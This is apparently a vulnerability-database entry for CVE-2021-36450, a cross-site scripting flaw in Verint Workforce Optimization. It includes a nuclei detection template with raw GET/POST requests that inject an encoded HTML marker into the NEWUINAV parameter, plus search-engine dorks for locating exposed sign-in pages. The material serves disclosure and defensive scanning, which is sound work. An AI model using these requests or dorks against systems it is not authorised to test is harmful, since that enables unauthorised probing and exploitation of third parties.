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CVE-2021-36450· verint / workforce optimization· CWE-79
Verint Workforce Optimization 15.2.8.10048 - Cross-Site Scripting
mediumseverity
6.1CVSS score
64.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Verint Workforce Optimization 15.2.8.10048 contains a cross-site scripting vulnerability via the control/my_notifications NEWUINAV parameter.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Fix
Apply the latest security patch or upgrade to a non-vulnerable version of Verint Workforce Optimization.
How to confirm it
Send: GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 ; POST /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3Ch1%3E%26
Positive when: contains "\"><h1>Test</h1>26\" class=\"loginUserNameText" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-36450 -u <target>
The full check
id: CVE-2021-36450
info:
name: Verint Workforce Optimization 15.2.8.10048 - Cross-Site Scripting
author: atomiczsec
severity: medium
description: Verint Workforce Optimization 15.2.8.10048 contains a cross-site scripting vulnerability via the control/my_notifications NEWUINAV parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patch or upgrade to a non-vulnerable version of Verint Workforce Optimization.
reference:
- https://medium.com/@1nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740
- https://sushantvkamble.blogspot.com/2021/11/cross-site-scripting-xss.html
- http://verint.com
- https://nvd.nist.gov/vuln/detail/CVE-2021-36450
- https://medium.com/%401nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-36450
cwe-id: CWE-79
epss-score: 0.64294
epss-percentile: 0.99238
cpe: cpe:2.3:a:verint:workforce_optimization:15.2.8.10048:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: verint
product: workforce_optimization
shodan-query:
- title:"Verint Sign-in"
- http.title:"verint sign-in"
fofa-query: title="verint sign-in"
google-query: intitle:"verint sign-in"
tags: cve2021,cve,xss,verint,vuln
http:
- raw:
- |
GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1
Host: {{Hostname}}
- |
POST /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3Ch1%3E%26 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
browserCheckEnabled=true&username=admin&language=en_US&defaultHttpPort=80&screenHeight=1080&screenWidth=1920&pageModelType=0&pageDirty=false&pageAction=Login&csrfp_login={{csrfp_login}}
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><h1>Test</h1>26" class="loginUserNameText'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
extractors:
- type: regex
name: csrfp_login
group: 1
regex:
- 'csrfp_login=([a-zA-Z0-9]+);'
internal: true
part: headerReferences
- https://medium.com/@1nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740
- https://sushantvkamble.blogspot.com/2021/11/cross-site-scripting-xss.html
- http://verint.com
- https://nvd.nist.gov/vuln/detail/CVE-2021-36450
- https://medium.com/%401nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740
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